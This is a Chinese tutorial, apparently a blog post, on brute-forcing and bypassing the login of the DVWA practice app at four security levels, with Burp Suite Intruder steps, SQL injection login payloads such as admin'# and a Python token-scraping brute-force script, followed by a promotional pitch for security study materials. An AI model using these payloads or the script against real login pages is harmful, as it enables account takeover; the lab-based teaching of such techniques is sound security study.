【Web爆破攻击实战】Web前端黑客技术解密
10.1 暴力破解简介
在很多情况下,黑客在找不到其他途径进入 Web 管理后台时,就会采用暴力破解的方式来破解后台管理员的账号和密码。所谓暴力破解,就是使用“穷举法”,对用户名和密码进行逐个猜解,直至猜出来为止。虽然暴力破解显得不是很有技术含量,但确实最有效的一种方式。理论上来说,只要时间足够,终究会把用户名和密码猜解出来。
为了提高暴力破解的效率,一般在破解时,都会使用字典。所谓字典,就是黑客会把自己认为的有可能是正确的密码,以及曾经碰到过的密码,写到一个文档里去,这个文档就是字典。在进行暴力破解时,会按照字典的顺序来进行猜解,这样会大大提高破解的效率。
暴力破解可以分别分为破解用户名和破解密码。在对攻击目标一无所知时,往往不仅要猜解出对方的密码,还需要先猜解出对方的用户名,这时破解难度和需要的时间会以大大提升。但如果已经知道了对方的用户名(极有可能是默认的用户名),只破解密码,难度就要小很多。
对于 Web 暴力破解来说,由于需要构造 HTTP 请求包,所以必须使用专门的工具,最常见的就是著名的 Burpsuite。Burpsuite 也有专门的爆破模块。
10.2 Low 级别 Web 爆破攻击实战
10.2.1 暴力破解账户密码
设置安全级别为Low,点击Brute Force按钮,进行暴力破解模块,发现是个用户登录的页面,随意输入用户名和密码,发现提示用户名或密码错误;同时发现输入的用户名和密码携带在了 URL 中,所以确认该页面提交方式为 GET,如图 10-1
图 10-1
2.我们已经得知 DVWA 存在一个默认账户,用户名和密码为admin/password,使用该账户登录,发现页面提示Welcome to the passowrd protected area admin,来说明登录成功,如图 10-2
图 10-2
3.我们先自己构建一个字典文件,包含正确的密码信息password,如图 10-3
图 10-3
4.设置好 Burpsuite 和浏览器的代理,先随便输入一个用户名和密码,用 Burpsuite 抓包,如图 10-4
图 10-4
*5.*点击Action按钮,选择Send to Intruder,把数据包信息发送到暴力破解模块,如图 10-5
图 10-5
6.点击Intruder模块,选择Positions标签,可以看到发送过来的数据包信息,如图 10-6
图 10-6
7.点击Clear §按钮清除掉所有变量,如图 10-7
图 10-7
8.我们这里为了节省时间,假定已经得知了用户名为admin,只猜解密码,所以选中之前随意输入的密码,点击Add §,把密码部分设置为要猜解的变量,如图 10-8
图 10-8
9.切换到Payloads标签,在Payload Option处,点击Load按钮,选择之前构建的字典文件,如图 10-9
图 10-9
10.下拉到Grep Match处,点击Clear,清除掉现有猜解成功匹配字符,然后添加之前我们看到的 DVWA 中登录成功的提示字符Welcome to the passowrd,然后点击Add。这样等到猜解成功后,就会自动提示,不用我们自己去比对回包长度和响应状态码来判断哪个是正确的密码,如图 10-11
图 10-11
11.点击Start Attack按钮,开始爆破,可以发现,当猜解到password时,回包长度与其他都不一致,而且打钩提示该密码是正确的,如图 10-12
图 10-12
10.2.2 SQL 注入破解账户密码
1.尝试使用 SQL 注入的方式登录,用户名输入admin’#,密码留空登录,发现可以直接进入,如图 10-13,图 10-14
图 10-13
图 10-14
该方式的原理是,猜测后台验证用户名和密码的 SQL 语句为
select * from users where user='$_GET['username']' and password='$_GET['password']',我们提交admin'#,首先通过单引号闭合原语法中的单引号,再用 # 注释掉后面的语句,所以 SQL 注入之后的语句就变成了select * from users where user='admin'#' and password='',由于 # 后面被注释了,不会提交给服务器执行,所以只要 users 表中存在 admin 用户,无论密码是否正确,都可以通过验证。如果连用户名都不知道,还可以通过admin' or '1'='1来构造一个恒真表达式进行绕过。
10.3 Medium 级别 Web 爆破攻击实战
1.安全级别设置为Medium,进入 Web 爆破攻击页面,查看页面源码,发现对提交的用户名和密码内容使用了mysqli_real_escape_string函数,对特殊字符进行转义,从而防止了以 SQL 注入的方式登录,如图 10-15。同时,通过sleep(2),使登录失败后让页面延迟 2 秒响应,对暴力破解起到了一定的防御作用,如图 10-16
图 10-15
图 10-16
2.根据上述情况分析,防 SQL 注入并不能影响我们进行暴力破解,而登录失败的 2 秒延迟对暴力破解的影响也是微乎其微,所以我们这里直接使用Low级别的方式使用 Burpsuite 进行爆破即可。这里只展示最终结果,如图 10-17
图 10-17
10.4 High 级别 Web 爆破攻击实战
1.安全级别设置为High,进入 Web 爆破攻击页面,查看页面源码,发现除了保留Medium级别的防护措施外,还加入了随机 Token 检查机制,如图 10-18。服务器每次返回登录页面都会给客户端产生一个随机的 Token 值,客户端登录时,需要携带该 Token,服务器如果检查发现用户携带的 Token 和它产生的不一样,就会判断为攻击行为,拒绝登录。
图 10-18
2.在这种情况下,Burpsuite 就不再有效,需要使用脚本来抓取服务器产生的随机 Token 值,然后构造在 HTTP 请求包中,才能进行暴力破解。这里我们使用 Python 脚本来实现该功能。脚本内容如下
import requests from bs4 import BeautifulSoup import sys import re get_user_token = re.compile(r'(?<=value=").*?(?=")') def get_token(url): reload(sys) sys.setdefaultencoding('utf-8') header = { # 构造 HTTP 头部 'Host': '192.168.75.100', # Web 服务器地址 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'en-US,en;q=0.5', 'Connection': 'keep-alive', 'Cookie': 'security=high; PHPSESSID=jppnjuuif7gt6ss640goammjj5', # 当前浏览器的 Cookie 值 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0' } rep = requests.get(url, headers=header) rep.encoding = 'utf-8' soup = BeautifulSoup(rep.text, "lxml") print len(rep.text) input_list = soup.find('input', type="hidden") user_token = get_user_token.search(str(input_list)).group() return user_token if __name__ == '__main__': user_token = get_token("http://192.168.75.100/dvwa/vulnerabilities/brute/") # 取 Token 的页面 URL with open('pass.txt') as f: # 调字典文件 i = 0 for item in f.readlines(): pos = item.rfind(",") username = 'admin' # 要猜解的用户名,也可用字典来猜解 password = item[pos + 1:] requrl = "http://192.168.75.100/dvwa/vulnerabilities/brute/" + "?username=" + username.strip() + "&password=" + password.strip() + "&Login=Login&user_token=" + user_token # 要爆破的 URL 完整格式 i += 1 print i, username.strip(), password.strip(), user_token = get_token(requrl)
3.由于该脚本使用 Python2.7 版本编写,所以我们使用命令python2.7 brute.py执行脚本,发现其它密码返回的包长度都是 4469,只有正确的密码password回包长度是4507,说明成功猜解出了密码,如图 10-18
图 10-18
10.5 Impossible 级别 Web 爆破攻击
查看Impossible级别的页面源码,发现加入了登录失败 3 次,就锁定账户 15 分钟的机制,如图 10-19,使爆破基本无法进行;另外还使用了 PDO 技术来防止通过 SQL 注入来登录,如图 10-19。
另外,对于防暴力破解,加入验证码机制也是常用的较为有效的方法
级别 Web 爆破攻击
查看Impossible级别的页面源码,发现加入了登录失败 3 次,就锁定账户 15 分钟的机制,如图 10-19,使爆破基本无法进行;另外还使用了 PDO 技术来防止通过 SQL 注入来登录,如图 10-19。
像目前比较火热的开发岗位实属网络安全,毕竟国家网络安全法也出台了,网络安全等级保护2.0等合规要求也出来了。
网络安全对于大部分政企单位来说,已经从[可选项]变成了[必选项]。在以前,很多政企单位在进行 IT 部门及岗位划分时,只有研发和运维部门,安全人员直接归属到基础运维部;而现在,越来越多单位为了满足国家安全法律法规的要求,必须成立独立的网络安全部门,拉拢各方安全人才、组建 SRC(安全响应中心),为自己的产品、应用、数据保卫护航。
根据国家发布的《网络安全人才实战能力白皮书》数据显示,目前中国网络安全人才供应严重匮乏,每年高校安全专业培养人才仅有3万余人,而网络安全岗位缺口在2027年将达327万,缺口高达95%。
了解网络安全,首先要搞清楚下面这些前提
- 网络安全到底包含哪些技术?是否需要会编程?
- 网络安全行业有哪些职业方向?“我”该如何选择?
- 网络安全的职业发展和成长路线是什么?
如果你是准备学习网络安全(黑客)或者正在学习,下面这些你应该能用得上:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。
网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】